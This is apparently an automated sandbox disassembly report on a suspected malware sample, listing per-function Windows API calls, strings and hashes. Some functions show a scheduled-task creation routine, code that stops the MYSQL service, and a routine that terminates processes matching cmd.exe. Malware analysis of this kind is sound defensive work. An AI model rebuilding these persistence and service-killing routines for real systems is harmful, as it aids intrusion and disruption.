Instruction ID: bf4c3c4c16418921af35957e8a842e40232b78bc4dd53ff6fdc572851f10e90f
Opcode Fuzzy Hash: 792d112af0fa9ddc9baf780d6e55906f8cf88b841c6546fcd7dace90299be161
Instruction Fuzzy Hash: 4AC19F71700209EFDB18CF48C9819EE77A6EF85704B24492EE891CB741DB34ED968B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040DAC0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 160comstringCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040DAEB
CoCreateInstance.OLE32(004D4F6C,00000000,00000001,004D4F3C,?,?,004CA948,000000FF), ref: 0040DB0B
lstrcpyW.KERNEL32(?,?), ref: 0040DBD6
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,004CA948,000000FF), ref: 0040DBE3
_memset.LIBCMT ref: 0040DC38
CoUninitialize.OLE32 ref: 0040DC92

Strings

Time Trigger Task, xrefs: 0040DB24, 0040DB34, 0040DB52
Comment, xrefs: 0040DBFF
--Task, xrefs: 0040DBB5

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: CreateFileInitializeInstancePathRemoveSpecUninitialize_memsetlstrcpy
String ID: --Task$Comment$Time Trigger Task
API String ID: 330603062-1376107329
Opcode ID: 2d54a52d798a0afde9218a6ee6c79ee0b434336cd27d5fab6bedf0357fc64c8f
Instruction ID: 3ca8ca325a9fd4b6db29fab4a8cd6851ae340f1496bb62272076f21ffc706129
Opcode Fuzzy Hash: 2d54a52d798a0afde9218a6ee6c79ee0b434336cd27d5fab6bedf0357fc64c8f
Instruction Fuzzy Hash: E051F670A40209AFDB00DF94CC99FAE7BB9FF88705F208469F505AB2A0DB75A945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00411A10 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 63servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000001), ref: 00411A1D
OpenServiceW.ADVAPI32(00000000,MYSQL,00000020), ref: 00411A32
ControlService.ADVAPI32(00000000,00000001,?), ref: 00411A46
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A5B
Sleep.KERNEL32(?), ref: 00411A75
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A80
CloseServiceHandle.ADVAPI32(00000000), ref: 00411A9E
CloseServiceHandle.ADVAPI32(00000000), ref: 00411AA1

Strings

MYSQL, xrefs: 00411A2C

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpenQueryStatus$ControlManagerSleep
String ID: MYSQL
API String ID: 2359367111-1651825290
Opcode ID: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction ID: 28721974f2ef8f77e49d09c1c1511d7c7b7ffc9f5d452c27f8aea73f5df61dea
Opcode Fuzzy Hash: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction Fuzzy Hash: 7F117735A01209ABDB209BD59D88FEF7FACEF45791F040122FB08D2250D728D985CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 0044F26C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F27F

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F294

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

std::exception::exception.LIBCMT ref: 0044F2AD
__CxxThrowException@8.LIBCMT ref: 0044F2C2
std::regex_error::regex_error.LIBCPMT ref: 0044F2D4

Part of subcall function 0044EF74: std::exception::exception.LIBCMT ref: 0044EF8E

__CxxThrowException@8.LIBCMT ref: 0044F2E2
std::exception::exception.LIBCMT ref: 0044F2FB
__CxxThrowException@8.LIBCMT ref: 0044F310

Strings

bad function call, xrefs: 0044F316

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaisestd::exception::_std::regex_error::regex_error
String ID: bad function call
API String ID: 2464034642-3612616537
Opcode ID: 0f15716b166695e00864247e1df175f35371e0258770e6daacd70fab21cfce16
Instruction ID: b7a33952e270e61bb8336860f47bfa26d0287e47148adb1a9e07c7a629f44a3a
Opcode Fuzzy Hash: 0f15716b166695e00864247e1df175f35371e0258770e6daacd70fab21cfce16
Instruction Fuzzy Hash: 60110A74D0020DBBCB04FFA5D566CDDBB7CEA04348F408A67BD2497241EB78A7498B99

Uniqueness

Uniqueness Score: -1.00%

Function 00465480 Relevance: 15.2, APIs: 7, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,00000000,?,?,00000000), ref: 004654C8
GetLastError.KERNEL32(?,?,00000000), ref: 004654D4
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,00000000), ref: 004654F7
GetLastError.KERNEL32(?,?,00000000), ref: 00465503
MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,?,00000000,?,?,00000000), ref: 00465531
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,?,00000008,?,00000000,?,?,00000000), ref: 0046555B
GetLastError.KERNEL32(.\crypto\bio\bss_file.c,000000A9,?,00000000,?,?,00000000), ref: 004655F5

Strings

',', xrefs: 0046560B
.\crypto\bio\bss_file.c, xrefs: 004655F0, 0046562F, 00465640
fopen(', xrefs: 00465611

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID: ','$.\crypto\bio\bss_file.c$fopen('
API String ID: 1717984340-2085858615
Opcode ID: dcb110ff77d0d6de05b3b947bf2ef47405a6d6b42127cdc483a5ab3eba0e5bdc
Instruction ID: 21cfcf061b86b0f752f7d9b12bec731e5652c25b667fcf3b1ac9b742683446ef
Opcode Fuzzy Hash: dcb110ff77d0d6de05b3b947bf2ef47405a6d6b42127cdc483a5ab3eba0e5bdc
Instruction Fuzzy Hash: 5A518E71B40704BBEB206B61DC47FBF7769AF05715F40012BFD05BA2C1E669490186AB

Uniqueness

Uniqueness Score: -1.00%

Function 00412440 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 0041244F
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00412469
OpenProcess.KERNEL32(00000001,00000000,?), ref: 004124A1
TerminateProcess.KERNEL32(00000000,00000009), ref: 004124B0
CloseHandle.KERNEL32(00000000), ref: 004124B7
Process32NextW.KERNEL32(00000000,0000022C), ref: 004124C1
CloseHandle.KERNEL32(00000000), ref: 004124CD

Strings

cmd.exe, xrefs: 00412486

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID: cmd.exe
API String ID: 2696918072-723907552
Opcode ID: fb95cca08c5137960df09b2932dfcea505f4a1a4214bf1a69b91f53fd9b4b180
Instruction ID: b239e8364e8e77cb7af63d5752a1eab109cf3eb7ce5fcb3b526656d556a9da04
Opcode Fuzzy Hash: fb95cca08c5137960df09b2932dfcea505f4a1a4214bf1a69b91f53fd9b4b180
Instruction Fuzzy Hash: ED0192355012157BE7206BA1AC89FAF766CEB08714F0400A2FD08D2141EA6489408EB9

Uniqueness

Uniqueness Score: -1.00%

Function 0040CBA0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0040CDDE
_malloc.LIBCMT ref: 0040CE12
_malloc.LIBCMT ref: 0040CE21
_fprintf.LIBCMT ref: 0040CE75

Strings

 , xrefs: 0040CCAF
\\n, xrefs: 0040CC1B
Error encrypting message: %s, xrefs: 0040CE67

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:  $Error encrypting message: %s$\\n
API String ID: 1783060780-3771355929
Opcode ID: d6b150dd05ea3784faa9023a41b87bdf0630902a3be6ffe264aa44009a4d2021
Instruction ID: bc568b6946d652cfd5b4c77746d66a5f57144f99ddafb1662d710ebef24806c3
Opcode Fuzzy Hash: d6b150dd05ea3784faa9023a41b87bdf0630902a3be6ffe264aa44009a4d2021
Instruction Fuzzy Hash: 10A196B1C00249EBEF10EF95DD46BDEBB75AF10308F54052DE40576282D7BA5688CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00463350 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 00463382
_strncmp.LIBCMT ref: 004633C2

Strings

Proc-Type: , xrefs: 0046337C
DEK-Info: , xrefs: 00463422
ENCRYPTED, xrefs: 004633BC
.\crypto\pem\pem_lib.c, xrefs: 00463393, 004633D3, 00463407, 00463439, 00463491

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: .\crypto\pem\pem_lib.c$DEK-Info: $ENCRYPTED$Proc-Type:
API String ID: 909875538-2908105608
Opcode ID: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction ID: 5da15f4c8f0622be9955200bbf206a62195e74188b9aea783317ae4bc8ba6fc6
Opcode Fuzzy Hash: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction Fuzzy Hash: B7413EA1BC83C129F721592ABC03F9763854B51B17F080467FA88E52C3FB9D8987419F

Uniqueness

Uniqueness Score: -1.00%

Function 004C5D39 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 004C5D3D

Part of subcall function 0042501F: GetLastError.KERNEL32(00000001,00000000,0042520D,00420CE9,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00425021
Part of subcall function 0042501F: __calloc_crt.LIBCMT ref: 00425042
Part of subcall function 0042501F: __initptd.LIBCMT ref: 00425064
Part of subcall function 0042501F: GetCurrentThreadId.KERNEL32 ref: 0042506B
Part of subcall function 0042501F: SetLastError.KERNEL32(00000000,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00425083

__calloc_crt.LIBCMT ref: 004C5D60
__get_sys_err_msg.LIBCMT ref: 004C5D7E
__invoke_watson.LIBCMT ref: 004C5D9B
__get_sys_err_msg.LIBCMT ref: 004C5DCD
__invoke_watson.LIBCMT ref: 004C5DEB

Strings

Visual C++ CRT: Not enough memory to complete call to strerror., xrefs: 004C5D48, 004C5D6E

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: ErrorLast__calloc_crt__get_sys_err_msg__invoke_watson$CurrentThread__getptd_noexit__initptd
String ID: Visual C++ CRT: Not enough memory to complete call to strerror.
API String ID: 2139067377-798102604
Opcode ID: 5eaddf98615f3ccf4cac01015d8d3972c4a1175607e626bbf50d5c61fd2a7b38
Instruction ID: efefb7cdb09aa89a66c944e42d5018451410fe076c3b278b171ca9447b521f4c
Opcode Fuzzy Hash: 5eaddf98615f3ccf4cac01015d8d3972c4a1175607e626bbf50d5c61fd2a7b38
Instruction Fuzzy Hash: 8E11E935601F2567D7613A66AC05FBF738CDF007A4F50806FFE0696241E629AC8042AD

Uniqueness

Uniqueness Score: -1.00%

Function 004573F0 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 004574E9

Strings

UlE, xrefs: 00457596, 004575A9, 004575D1, 004575F6, 0045762A, 0045765D, 0045767F
, xrefs: 00457482
+, xrefs: 00457475
0123456789abcdef, xrefs: 004574C4
0123456789ABCDEF, xrefs: 004574D6

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: __aulldvrm
String ID: $+$0123456789ABCDEF$0123456789abcdef$UlE
API String ID: 1302938615-3129329331
Opcode ID: ff954d4489a2a32b54fea3d22a27fd44705d04e06401a65576fda6a57d4a9bd9
Instruction ID: ba297de4fec08f8b73c8771b24cc4328c1ae3ea447eff3a94226dc6813255680
Opcode Fuzzy Hash: ff954d4489a2a32b54fea3d22a27fd44705d04e06401a65576fda6a57d4a9bd9
Instruction Fuzzy Hash: D181AEB1A087509FD710CF29A84062BBBE5BFC9755F15092EFD8593312E338DD098B96

Uniqueness

Uniqueness Score: -1.00%

Function 004506A0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 004507C3

Strings

lib(%lu), xrefs: 0045071C
func(%lu), xrefs: 00450734
reason(%lu), xrefs: 00450758
error:%08lX:%s:%s:%s, xrefs: 00450792

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: ___from_strstr_to_strchr
String ID: error:%08lX:%s:%s:%s$func(%lu)$lib(%lu)$reason(%lu)
API String ID: 601868998-2416195885
Opcode ID: 93747ef9676871f384b6e598e8205c6ebfa69a96be3ff907559ef05580cb13b5
Instruction ID: 4fd155d7ac4cfc4ad9107eba643b63d3b81161049ee91e28a54c83c9030a6459
Opcode Fuzzy Hash: 93747ef9676871f384b6e598e8205c6ebfa69a96be3ff907559ef05580cb13b5
Instruction Fuzzy Hash: F64109756043055BDB20EE25CC45BAFB7D8EF85309F40082FF98593242E679E90C8B96

Uniqueness

Uniqueness Score: -1.00%

Function 0045AE30 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AE4B
_memset.LIBCMT ref: 0045AE6C

Strings

g9F, xrefs: 0045AE31, 0045AE36, 0045AE63, 0045AF14, 0045AF1D
.\crypto\buffer\buffer.c, xrefs: 0045AE88, 0045AEBE, 0045AED3, 0045AEF0

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$g9F
API String ID: 2102423945-3653307630
Opcode ID: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction ID: 958ac6a2dbe7618ecd56aaf11cdfe4c63fb5daf7b6a990d4d23814bb8d8bf6ac
Opcode Fuzzy Hash: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction Fuzzy Hash: 27212BB6B403213FE210665DFC43B66B399EB84B15F10413BF618D73C2D6A8A865C3D9

Uniqueness

Uniqueness Score: -1.00%

Function 00462FF0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

_fprintf.LIBCMT ref: 0046307E
_memset.LIBCMT ref: 004630AB

Strings

Enter PEM pass phrase:, xrefs: 00463036, 00463043, 00463084
phrase is too short, needs to be at least %d chars, xrefs: 00463070
.\crypto\pem\pem_lib.c, xrefs: 00463097

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _fprintf_memset
String ID: .\crypto\pem\pem_lib.c$Enter PEM pass phrase:$phrase is too short, needs to be at least %d chars
API String ID: 3021507156-3399676524
Opcode ID: 37c0a0619d1de68f8926526a4348b91c256fa9f986865ef3ae2ab210aec5a9ed
Instruction ID: 90c6fe5d672865ace0ee8fbe81ed9b43ee89a432c17a94ace257beddb0b51c59
Opcode Fuzzy Hash: 37c0a0619d1de68f8926526a4348b91c256fa9f986865ef3ae2ab210aec5a9ed
Instruction Fuzzy Hash: 0E218B72B043513BE720AD22AC01FBB7799CFC179DF04441AFA54672C6E639ED0942AA

Uniqueness

Uniqueness Score: -1.00%

Function 0043B6FF Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0043B70B

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(008B0000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_free.LIBCMT ref: 0043B71E

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 8e512132b4ba77e80ced0f8d2c599a4ead77bd4eaf6f4183de6e41df743542ab
Instruction ID: cebe638eb0ed40525ab660a1b273922ca7a171140340163af9fc546bca46de76
Opcode Fuzzy Hash: 8e512132b4ba77e80ced0f8d2c599a4ead77bd4eaf6f4183de6e41df743542ab
Instruction Fuzzy Hash: F411EB31504725EBCB202B76BC85B6A3784DF58364F50512BFA589A291DB3C88408ADC

Uniqueness

Uniqueness Score: -1.00%

Function 0041F070 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041F085
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0AC
DispatchMessageW.USER32(?), ref: 0041F0B6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0C4
WaitForSingleObject.KERNEL32(0000000A), ref: 0041F0D2

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction ID: 8330a25206e7a7c758b309db49295e470543d34b7ed76d4368c5dbe794fa98e6
Opcode Fuzzy Hash: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction Fuzzy Hash: 5C01DB35A4030876EB30AB55EC86FD63B6DE744B00F148022FE04AB1E1D7B9A54ADB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041E500 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041E515
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E53C
DispatchMessageW.USER32(?), ref: 0041E546
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E554
WaitForSingleObject.KERNEL32(0000000A), ref: 0041E562

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction ID: 59d9cfd0379212e31388a7928d285390ad7449125cd170d7d310b1f6820545b5
Opcode Fuzzy Hash: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction Fuzzy Hash: 3301DB35B4030976E720AB51EC86FD67B6DE744B04F144011FE04AB1E1D7F9A549CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041FA40 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FA53
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA71
DispatchMessageW.USER32(?), ref: 0041FA7B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA89
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FA94

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: 7dc02704ba958b7d98511173c4623a4fa8f2b4100db45197b38ae147ea501182
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 6301AE31B4030577EB205B55DC86FA73B6DDB44B40F544061FB04EE1D1D7F9984587A4

Uniqueness

Uniqueness Score: -1.00%

Function 0041FDF0 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FE03
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE21
DispatchMessageW.USER32(?), ref: 0041FE2B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE39
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FE44

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: d705e8d6a79994c6a13c6d22e65b3a6180ae01e64e8e6a22fa5ca061b0d405f5
